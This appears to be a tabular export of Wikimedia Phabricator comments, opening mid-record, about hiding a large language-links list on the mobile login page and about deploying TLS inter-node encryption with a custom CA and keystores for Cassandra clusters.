+[[https://gerrit.wikimedia.org/r/234163]]",,,1441214638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,False,,,8,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+516099,Huge langlinks list on top of mobile login page,"I removed the #Patch-for-Review project, because there is no change anymore to review. But the real underlying problem (having a bad formatted huge list of languages) still isn't resolved, so keeping this task open :)",,,1440701872,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+516076,Huge langlinks list on top of mobile login page,"Change 234149 merged by jenkins-bot:
+Hide languagelinks list on alpha/beta login page
+
+[[https://gerrit.wikimedia.org/r/234149]]",,,1440700647,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515370,Huge langlinks list on top of mobile login page,"@florian thanks for the patch! I'm not sure from a design perspective if using a drop down is the best idea. I suspect something like ULS would be better ran here (with search interface, preferred languages etc). The mobile blue button should arguably be showing on the login form under the login form for switching languages.
+
+Language engineering - this kind of problem keeps coming up - we serve large chunks of HTML in pages for all the languages we support in a way that impacts mobile readability. I really think language selection should be JavaScript based everywhere with a link as a fallback to a page such as https://en.m.wikipedia.org/wiki/Special:MobileLanguages/San_Francisco
+
+It seems to be a problem with our infrastructure which keeps hurting mobile and I'm keen to address it. @amire80 is it worth us having some kind of chat around the strategy for this kind of thing?",,,1440627962,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,True,,,7,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1
+515361,Huge langlinks list on top of mobile login page,"Change 234163 had a related patch set uploaded (by Florianschmidtwelzow):
+WIP: Convert UserLogin language links into a dropdown select list
+
+[[https://gerrit.wikimedia.org/r/234163]]
+",,,1440627434,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+515333,Huge langlinks list on top of mobile login page,"Change 234149 had a related patch set uploaded (by Florianschmidtwelzow):
+Hide languagelinks list on alpha/beta login page
+
+[[https://gerrit.wikimedia.org/r/234149]]
+",,,1440624637,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mijmww37akmm2x4ijgrp,task_subcomment,,True,c3,3,False,,,7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+108953,Cassandra inter-node encryption (TLS),"Cassandra supports TLS encryption of traffic between the nodes of a cluster.  We do not currently encrypt inter-node traffic, but in the interest of security, must as a prerequisite to a multi-DC configuration.
+
+//Current status (2015-09-24): `internode_encryption: dc`, (encryption between the eqiad and codfw data-centers) is in place.  `internode_encryption: all` (encryption between nodes in each of eqiad and codfw) remains to be done.//
+
+See also: T111113",High,80.0,1439478796,1449503774.0,PHID-USER-7mtggupugbd5i55vuvdc,False,PHID-USER-wr3pospifdaxghmtobvr,False,PHID-TASK-2tltcgzqagw7twovjjye,task_description,resolved,True,c3,3,False,False,False,6,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+574093,Cassandra inter-node encryption (TLS),"ca/certs expiration tracked in {T120662}, resolving",,,1449503774,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,22,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+534064,Cassandra inter-node encryption (TLS),"we're live with inter-dc encryption for cassandra in production and test, we are still missing a way to track expiration of certs/ca, akin to {T112542} for public certs",,,1443085144,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+531279,Cassandra inter-node encryption (TLS),"Change 239794 merged by Filippo Giunchedi:
+cassandra: enable inter-dc encryption
+
+[[https://gerrit.wikimedia.org/r/239794]]",,,1442839784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+531201,Cassandra inter-node encryption (TLS),"Change 239794 had a related patch set uploaded (by Filippo Giunchedi):
+cassandra: enable inter-dc encryption
+
+[[https://gerrit.wikimedia.org/r/239794]]
+",,,1442829401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+526634,Cassandra inter-node encryption (TLS),"Change 238144 merged by Filippo Giunchedi:
+cassandra: enable ssl_storage_port (7001) in ferm
+
+[[https://gerrit.wikimedia.org/r/238144]]",,,1442239332,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+526632,Cassandra inter-node encryption (TLS),"Change 238144 had a related patch set uploaded (by Filippo Giunchedi):
+cassandra: enable ssl_storage_port (7001) in ferm
+
+[[https://gerrit.wikimedia.org/r/238144]]
+",,,1442239244,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+526554,Cassandra inter-node encryption (TLS),"Change 237648 merged by Filippo Giunchedi:
+cassandra: enable DC internode encryption for test cluster
+
+[[https://gerrit.wikimedia.org/r/237648]]",,,1442233678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525206,Cassandra inter-node encryption (TLS),"Change 237648 had a related patch set uploaded (by Filippo Giunchedi):
+cassandra: enable DC internode encryption for test cluster
+
+[[https://gerrit.wikimedia.org/r/237648]]
+",,,1441979324,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+525042,Cassandra inter-node encryption (TLS),"Change 237397 merged by Filippo Giunchedi:
+cassandra: install certs and CA from private.git
+
+[[https://gerrit.wikimedia.org/r/237397]]",,,1441961794,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+525041,Cassandra inter-node encryption (TLS),"Change 237377 merged by Filippo Giunchedi:
+cassandra: new class ca_manager
+
+[[https://gerrit.wikimedia.org/r/237377]]",,,1441961729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+524333,Cassandra inter-node encryption (TLS),"Change 237397 had a related patch set uploaded (by Filippo Giunchedi):
+cassandra: install certs and CA from private.git
+
+[[https://gerrit.wikimedia.org/r/237397]]
+",,,1441897114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+524275,Cassandra inter-node encryption (TLS),"Change 237377 had a related patch set uploaded (by Filippo Giunchedi):
+cassandra: new class ca_manager
+
+[[https://gerrit.wikimedia.org/r/237377]]
+",,,1441894534,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+524102,Cassandra inter-node encryption (TLS),"Change 236389 merged by Filippo Giunchedi:
+certificate/keystore generation script
+
+[[https://gerrit.wikimedia.org/r/236389]]",,,1441876092,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+521678,Cassandra inter-node encryption (TLS),"The [[https://gerrit.wikimedia.org/r/236389|attached Gerrit]] is for a script to generate a root CA and signed keystores, based on the contents of a cluster-specific manifest.  It's still a work-in-progress, sparse on error handling, and isn't secure in its handling of passwords, but I'm posting it now to get early feedback.",,,1441499796,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+521676,Cassandra inter-node encryption (TLS),"Change 236389 had a related patch set uploaded (by Eevans):
+WIP: certificate/keystore generation script
+
+[[https://gerrit.wikimedia.org/r/236389]]
+",,,1441499312,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+520948,Cassandra inter-node encryption (TLS),">>! In T108953#1597221, @fgiunchedi wrote:
+> thinking about it more, this scheme would make certs rollover harder since we'll need to have both new+old cert in the truststore. using a CA and having only that in the truststore might simplify things, upon CA rollover we add a new CA to the truststore and issue certs signed with the new CA. 
+
+Using a custom CA sounds good to me.
+
+As discussed on IRC, keeping the keystore passwords on palladium seems acceptable to me, since they need to be stored in plaintext in cassandra.yaml on every restbase* node anyway.",,,1441360180,,PHID-USER-abszjqutasfjxgagymds,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,0,1
+520396,Cassandra inter-node encryption (TLS),">>! In T108953#1601771, @fgiunchedi wrote:
+> thanks @eevans! I think that'll work, basically to generalize it on a per-cluster basis something like:
+> [ ... ]
+> another open question is what to do with keystore passwords, we're operating on the basis that puppet has access to the files (and it'd need to know the keystore password anyway) and I'm not sure we're encrypting `private.git` material at rest
+
+Yeah, good question.
+
+I'm not sure how useful these passwords are from a security perspective.  On the Cassandra-side of things, the password will be in the clear in `cassandra.yaml`; Any attacker that obtains a copy of the keystore there will probably be able to get the passwords too.",,,1441300071,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,9,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+520156,Cassandra inter-node encryption (TLS),"thanks @eevans! I think that'll work, basically to generalize it on a per-cluster basis something like:
+
+I was thinking something along the lines of (all in `private.git`) a directory for each cassandra cluster, containing subdirectories for:
+* per-server server keystore
+* CA private/public key(s)
+* (in the future) per-client certificates/keystores
+
+one of the missing bits is ""configuration"" or IOW a manifest of what certs/keystores should be generated for each cluster (so we can in theory generate them unattended)
+anyhow upon adding a machine we'd issue the related cert from the CA, commit, and install it on the machine via `secret()`.
+CA rollover can be done by adding a new trusted CA to the truststore, which can be also installed via `secret()` and reissue certs with the new CA (should apply the same to cert and server clients)
+for labs testing the above would require a cert for each node/instance, perhaps we can wildcard it and use a single bogus cert/CA ?
+another open question is what to do with keystore passwords, we're operating on the basis that puppet has access to the files (and it'd need to know the keystore password anyway) and I'm not sure we're encrypting `private.git` material at rest",,,1441277806,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,9,True,1,1,0,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,0,0,0,0,1,1,1,1,0,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1
+519788,Cassandra inter-node encryption (TLS),"@fgiunchedi, here is the background work I promised; I do not know if this is the //only// way, but this does demonstrate a working example of using an openssl generated CA cert, the corresponding truststore, and node/instance keystores containing CA-signed client certificates.
+
+{F2534073}
+
+For demonstrative purposes only:
+
+```
+$ make truststore
+...
+$ make node1 node2 node3
+...
+$ ls 
+ca.crt  ca.srl    node1.crt  node2.crt  node3.crt  truststore
+ca.key  Makefile  node1.kst  node2.kst  node3.kst
+```
+
+And the corresponding Cassandra configuration:
+
+```
+lang=yml
+server_encryption_options:
+    internode_encryption: all
+    keystore: /path/to/keystore.kst
+    keystore_password: password
+    truststore: /path/to/truststore
+    truststore_password: password
+    require_client_auth: true
+```
+
+Let me know if you think this approach will work, and if so, what I can do (put together a proper management script, perhaps?).",,,1441232356,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,8,True,1,0,0,0,1,1,1,0,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+519293,Cassandra inter-node encryption (TLS),">>! In T108953#1596328, @fgiunchedi wrote:
+> so I don't think we'll be able to reuse puppet certs with multiple instances, thus we'll have to roll our own. since we are going to use multiple cassandra clusters it'd be ideal to keep the keyrings isolated per-cluster. I'm proposing the following:
+> 
+> * map cassandra cluster -> list of nodes belonging to the cluster (which we need anyway)
+> * having the above, generate private+public keys for each host and commit to private.git (via a script)
+> * using the same map, assemble per-cluster keyrings, commit in private.git
+> * puppet will do file distribution via `secret()` or similar mechanisms
+> 
+> naming clarifications:
+> * `truststore` is used for the public parts, doesn't change across the cluster (note `truststore` is a name used by cassandra only, to `keytool` only keystores exist)
+> * `keystore` stores public/private keys for an host/instance, distributed individually
+> 
+> e.g. on the machine hosting `private.git` we would run
+> ```
+> # assuming we know the mapping cluster -> list of hosts/instances
+> # assuming passwords are already generated and stored in storepass/c1.pass
+> # generates keypair for all hosts in keystore/c1/<host>.ks using the respective keystore password
+> $ cassandra-keytool gen-ks c1 
+> # assemble all c1 keypairs into truststore/c1.ts
+> $ cassandra-keytool gen-truststore c1
+> $ git commit -m ""update cassandra keys"" keystore truststore
+> ```
+> 
+> puppet would then for each host/instance copy the keystore and truststore via `secret()` in the proper location inside e.g. `/etc` and configure cassandra accordingly. Ditto for the keystore password, also fetched via `secret()`. For each host/instance puppet will also set up monitoring for cert expiration deadlines.
+
+thinking about it more, this scheme would make certs rollover harder since we'll need to have both new+old cert in the truststore. using a CA and having only that in the truststore might simplify things, upon CA rollover we add a new CA to the truststore and issue certs signed with the new CA. cc @akosiaris @bblack @faidon for opinions
+
+to recap:
+* we want encryption among cassandra nodes (by ""node"" I mean a single jvm, multiple instances will mean a key pair for each instance)
+** ideally nodes from different cassandra clusters can't talk to each other
+* this is required to expand into codfw, we can tune cassandra to encrypt only dc-to-dc traffic but leave inter-dc traffic unencrypted (e.g. while we roll out this)
+* cassandra requires a `keystore` holding a key pair with the node identity and a `truststore` holding the trusted certificates, manipulated via `keytool`",,,1441207045,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+519268,Cassandra inter-node encryption (TLS),">>! In T108953#1596768, @Eevans wrote:
+> FYI, we have T111113 as well.
+> 
+> For this, I assume that we'll need another key per host (for the client), and PEM copies of all the Cassandra instance certs (to use in the CA array).  Additionally, we'll need copies of all the client certs imported into a truststore (either the one above, or another for this purpose), to reference in `cassandra.yaml` when enabling client encryption.
+
+good point, we should be taking client auth in consideration too for {T76494} ",,,1441205647,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+519214,Cassandra inter-node encryption (TLS),">>! In T108953#1596328, @fgiunchedi wrote:
+> so I don't think we'll be able to reuse puppet certs with multiple instances, thus we'll have to roll our own. since we are going to use multiple cassandra clusters it'd be ideal to keep the keyrings isolated per-cluster. I'm proposing the following:
+> 
+> * map cassandra cluster -> list of nodes belonging to the cluster (which we need anyway)
+> * having the above, generate private+public keys for each host and commit to private.git (via a script)
+> * using the same map, assemble per-cluster keyrings, commit in private.git
+> * puppet will do file distribution via `secret()` or similar mechanisms
+> 
+> naming clarifications:
+> * `truststore` is used for the public parts, doesn't change across the cluster (note `truststore` is a name used by cassandra only, to `keytool` only keystores exist)
+> * `keystore` stores public/private keys for an host/instance, distributed individually
+> 
+> e.g. on the machine hosting `private.git` we would run
+> ```
+> # assuming we know the mapping cluster -> list of hosts/instances
+> # assuming passwords are already generated and stored in storepass/c1.pass
+> # generates keypair for all hosts in keystore/c1/<host>.ks using the respective keystore password
+> $ cassandra-keytool gen-ks c1 
+> # assemble all c1 keypairs into truststore/c1.ts
+> $ cassandra-keytool gen-truststore c1
+> $ git commit -m ""update cassandra keys"" keystore truststore
+> ```
+> 
+> puppet would then for each host/instance copy the keystore and truststore via `secret()` in the proper location inside e.g. `/etc` and configure cassandra accordingly. Ditto for the keystore password, also fetched via `secret()`. For each host/instance puppet will also set up monitoring for cert expiration deadlines.
+
+FYI, we have T111113 as well.
+
+For this, I assume that we'll need another key per host (for the client), and PEM copies of all the Cassandra instance certs (to use in the CA array).  Additionally, we'll need copies of all the client certs imported into a truststore (either the one above, or another for this purpose), to reference in `cassandra.yaml` when enabling client encryption.",,,1441200474,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,8,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1
+519097,Cassandra inter-node encryption (TLS),"so I don't think we'll be able to reuse puppet certs with multiple instances, thus we'll have to roll our own. since we are going to use multiple cassandra clusters it'd be ideal to keep the keyrings isolated per-cluster. I'm proposing the following:
+
+* map cassandra cluster -> list of nodes belonging to the cluster (which we need anyway)
+* having the above, generate private+public keys for each host and commit to private.git (via a script)
+* using the same map, assemble per-cluster keyrings, commit in private.git
+* puppet will do file distribution via `secret()` or similar mechanisms
+
+naming clarifications:
+* `truststore` is used for the public parts, doesn't change across the cluster (note `truststore` is a name used by cassandra only, to `keytool` only keystores exist)
+* `keystore` stores public/private keys for an host/instance, distributed individually
+
+e.g. on the machine hosting `private.git` we would run
+```
+# assuming we know the mapping cluster -> list of hosts/instances
+# assuming passwords are already generated and stored in storepass/c1.pass
+# generates keypair for all hosts in keystore/c1/<host>.ks using the respective keystore password
+$ cassandra-keytool gen-ks c1 
+# assemble all c1 keypairs into truststore/c1.ts
+$ cassandra-keytool gen-truststore c1
+$ git commit -m ""update cassandra keys"" keystore truststore
+```
+
+puppet would then for each host/instance copy the keystore and truststore via `secret()` in the proper location inside e.g. `/etc` and configure cassandra accordingly. Ditto for the keystore password, also fetched via `secret()`. For each host/instance puppet will also set up monitoring for cert expiration deadlines.",,,1441189048,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+518823,Cassandra inter-node encryption (TLS),"Any word here?  Encryption is a dependency for scaling RESTBase into codfw, a quarterly goal for Services (T102306), and time is starting to run short.
+
+I'm happy to work on this if I'm able.",,,1441144186,,PHID-USER-7mtggupugbd5i55vuvdc,False,,,PHID-TASK-2tltcgzqagw7twovjjye,task_subcomment,,True,c3,3,False,,,8,True,1,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
